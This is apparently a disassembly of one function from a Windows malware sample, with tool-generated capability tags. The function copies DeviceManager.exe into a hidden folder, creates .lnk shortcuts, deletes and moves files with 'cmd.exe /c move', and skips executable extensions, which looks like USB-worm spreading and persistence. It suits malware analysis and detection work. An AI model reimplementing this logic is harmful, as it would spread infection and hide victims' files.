Function at 0x40168f
Capabilities:
Check if file exists
Copy file
Create directory
Create process on windows
Delete file
Enumerate files on windows
Get file attributes
Persist via lnk shortcut
Set file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x14a8
call fcn.004030d0
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call sub.MSVCRT.dll_srand
mov esi, 0x208
push esi
xor edi, edi
lea eax, [ebp - 0x14a4]
push edi
push eax
call sub.MSVCRT.dll_memset
push esi
lea eax, [ebp - 0xc84]
push edi
push eax
call sub.MSVCRT.dll_memset
push esi
lea eax, [ebp - 0x66c]
push edi
push eax
call sub.MSVCRT.dll_memset
push esi
lea eax, [ebp - 0x874]
push edi
push eax
call sub.MSVCRT.dll_memset
push esi
lea eax, [ebp - 0x129c]
push edi
push eax
call sub.MSVCRT.dll_memset
add esp, 0x40
push esi
lea eax, [ebp - 0x1094]
push edi
push eax
call sub.MSVCRT.dll_memset
mov ebx, dword [ebp + 8]
push ebx
push str._ls
lea eax, [ebp - 0x14a4]
push esi
push eax
call sub.MSVCRT.dll__snwprintf
push dword [ebp + 0xc]
lea eax, [ebp - 0x66c]
push ebx
push str._ls_s.lnk
push esi
push eax
call sub.MSVCRT.dll__snwprintf
push dword [ebp + 0xc]
lea eax, [ebp - 0x129c]
push str._ls.lnk
push esi
push eax
call sub.MSVCRT.dll__snwprintf
add esp, 0x40
push ebx
push str._ls_
lea eax, [ebp - 0xc84]
push esi
push eax
call sub.MSVCRT.dll__snwprintf
push ebx
push str._ls_DeviceManager.exe
lea eax, [ebp - 0x874]
push esi
push eax
call sub.MSVCRT.dll__snwprintf
push ebx
push str._ls_DeviceConfigManager.exe
lea eax, [ebp - 0x1094]
push esi
push eax
call sub.MSVCRT.dll__snwprintf
add esp, 0x30
mov ebx, dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
lea eax, [ebp - 0x1094]
push eax
call ebx
test eax, eax
je 0x4017d5
push 0x80
lea eax, [ebp - 0x1094]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea eax, [ebp - 0x1094]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea eax, [ebp - 0x66c]
push eax
call ebx
test eax, eax
je 0x4017d5
lea eax, [ebp - 0x66c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea eax, [ebp - 0x66c]
push eax
call ebx
test eax, eax
jne 0x401813
cmp byte [ebp + 0x10], 1
lea eax, [ebp - 0x66c]
jne 0x4017f2
push 9
jmp 0x4017f4
push 8
push eax
call fcn.004015ab
pop ecx
pop ecx
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push 5
lea eax, [ebp - 0x66c]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea eax, [ebp - 0xc84]
push eax
call ebx
test eax, eax
jne 0x401841
push edi
lea eax, [ebp - 0xc84]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
je 0x401841
push 7
lea eax, [ebp - 0xc84]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea eax, [ebp - 0x874]
push 0x40481c
push eax
call sub.MSVCRT.dll__wfopen
mov ebx, eax
pop ecx
pop ecx
cmp ebx, edi
je 0x4018a3
push 2
push edi
push ebx
call sub.MSVCRT.dll_fseek
push ebx
call sub.MSVCRT.dll_ftell
push ebx
mov dword [ebp - 8], eax
call sub.MSVCRT.dll_fclose
mov eax, dword [ebp - 8]
add esp, 0x14
cmp eax, dword [0x406050]
je 0x4018a3
mov ebx, dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push 0x80
lea eax, [ebp - 0x874]
push eax
call ebx
lea eax, [ebp - 0x874]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp 0x4018a9
mov ebx, dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea eax, [ebp - 0x874]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x4018d8
push edi
lea eax, [ebp - 0x874]
push eax
push 0x406058
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push 7
lea eax, [ebp - 0x874]
push eax
call ebx
lea eax, [ebp - 0x25c]
push eax
lea eax, [ebp - 0x14a4]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [ebp - 8], eax
cmp eax, 0xffffffff
jne 0x4018fb
xor eax, eax
jmp 0x401d26
lea eax, [ebp - 0x230]
push str..lnk
push eax
call sub.MSVCRT.dll_wcsstr
pop ecx
pop ecx
test eax, eax
je 0x401951
lea ecx, [ebp - 0x129c]
lea eax, [ebp - 0x230]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x401944
cmp dx, di
je 0x401940
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x401944
add eax, 4
add ecx, 4
cmp dx, di
jne 0x40191e
xor eax, eax
jmp 0x401949
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, edi
jne 0x401a85
mov ecx, str.autorun.inf
lea eax, [ebp - 0x230]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x401982
cmp dx, di
je 0x40197e
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x401982
add eax, 4
add ecx, 4
cmp dx, di
jne 0x40195c
xor eax, eax
jmp 0x401987
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, edi
je 0x401a85
lea eax, [ebp - 0x230]
push str..vbs
push eax
call sub.MSVCRT.dll_wcsstr
pop ecx
pop ecx
test eax, eax
jne 0x401a85
lea eax, [ebp - 0x230]
push str..bat
push eax
call sub.MSVCRT.dll_wcsstr
pop ecx
pop ecx
test eax, eax
jne 0x401a85
lea eax, [ebp - 0x230]
push 0x404860
push eax
call sub.MSVCRT.dll_wcsstr
pop ecx
pop ecx
test eax, eax
jne 0x401a85
lea eax, [ebp - 0x230]
push str..scr
push eax
call sub.MSVCRT.dll_wcsstr
pop ecx
pop ecx
test eax, eax
jne 0x401a85
lea eax, [ebp - 0x230]
push str..com
push eax
call sub.MSVCRT.dll_wcsstr
pop ecx
pop ecx
test eax, eax
jne 0x401a85
lea eax, [ebp - 0x230]
push str..jse
push eax
call sub.MSVCRT.dll_wcsstr
pop ecx
pop ecx
test eax, eax
jne 0x401a85
lea eax, [ebp - 0x230]
push str..cmd
push eax
call sub.MSVCRT.dll_wcsstr
pop ecx
pop ecx
test eax, eax
jne 0x401a85
lea eax, [ebp - 0x230]
push str..pif
push eax
call sub.MSVCRT.dll_wcsstr
pop ecx
pop ecx
test eax, eax
jne 0x401a85
lea eax, [ebp - 0x230]
push str..jar
push eax
call sub.MSVCRT.dll_wcsstr
pop ecx
pop ecx
test eax, eax
jne 0x401a85
lea eax, [ebp - 0x230]
push str..dll
push eax
call sub.MSVCRT.dll_wcsstr
pop ecx
pop ecx
test eax, eax
je 0x401acd
push esi
lea eax, [ebp - 0x464]
push edi
push eax
call sub.MSVCRT.dll_memset
lea eax, [ebp - 0x230]
push eax
push dword [ebp + 8]
lea eax, [ebp - 0x464]
push str._ls_s
push esi
push eax
call sub.MSVCRT.dll__snwprintf
add esp, 0x20
push 0x80
lea eax, [ebp - 0x464]
push eax
call ebx
lea eax, [ebp - 0x464]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea eax, [ebp - 0xc84]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x401d02
mov ecx, str..lnk
lea eax, [ebp - 0x230]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x401b13
cmp dx, di
je 0x401b0f
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x401b13
add eax, 4
add ecx, 4
cmp dx, di
jne 0x401aed
xor eax, eax
jmp 0x401b18
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, edi
je 0x401d02
lea ecx, [ebp - 0x129c]
lea eax, [ebp - 0x230]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x401b52
cmp dx, di
je 0x401b4e
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x401b52
add eax, 4
add ecx, 4
cmp dx, di
jne 0x401b2c
xor eax, eax
jmp 0x401b57
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, edi
je 0x401d02
mov ecx, 0x4048cc
lea eax, [ebp - 0x230]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x401b90
cmp dx, di
je 0x401b8c
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x401b90
add eax, 4
add ecx, 4
cmp dx, di
jne 0x401b6a
xor eax, eax
jmp 0x401b95
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, edi
je 0x401d02
push esi
lea eax, [ebp - 0xa7c]
push edi
push eax
call sub.MSVCRT.dll_memset
push esi
lea eax, [ebp - 0x464]
push edi
push eax
call sub.MSVCRT.dll_memset
lea eax, [ebp - 0x230]
push eax
push dword [ebp + 8]
lea eax, [ebp - 0xa7c]
push str._ls_s
push esi
push eax
call sub.MSVCRT.dll__snwprintf
lea eax, [ebp - 0x230]
push eax
push dword [ebp + 8]
lea eax, [ebp - 0x464]
push 0x4048d0
push esi
push eax
call sub.MSVCRT.dll__snwprintf
add esp, 0x40
push 0x80
lea eax, [ebp - 0xa7c]
push eax
call ebx
lea eax, [ebp - 0x464]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x401cbb
lea eax, [ebp - 0xa7c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x401cbb
lea eax, [ebp - 0x464]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0x10
jne 0x401cae
lea eax, [ebp - 0x464]
push 0x4048e4
push eax
call sub.MSVCRT.dll_wcsstr
pop ecx
pop ecx
test eax, eax
jne 0x401cbb
lea eax, [ebp - 0x464]
push 0x4048ec
push eax
call sub.MSVCRT.dll_wcsstr
pop ecx
pop ecx
test eax, eax
jne 0x401cbb
push esi
lea eax, [ebp - 0xe8c]
push edi
push eax
call sub.MSVCRT.dll_memset
lea eax, [ebp - 0xa7c]
push eax
push 0x4048f0
lea eax, [ebp - 0xe8c]
push esi
push eax
call sub.MSVCRT.dll__snwprintf
add esp, 0x1c
push edi
push edi
lea eax, [ebp - 0xe8c]
push eax
push str.cmd.exe
push edi
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
jmp 0x401cbb
lea eax, [ebp - 0xa7c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push esi
lea eax, [ebp - 0xe8c]
push edi
push eax
call sub.MSVCRT.dll_memset
lea eax, [ebp - 0x464]
push eax
lea eax, [ebp - 0xa7c]
push eax
push str._c_move__y___ls_____ls_
lea eax, [ebp - 0xe8c]
push esi
push eax
call sub.MSVCRT.dll__snwprintf
add esp, 0x20
push edi
push edi
lea eax, [ebp - 0xe8c]
push eax
push str.cmd.exe
push edi
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
lea eax, [ebp - 0x25c]
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x4018fb
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret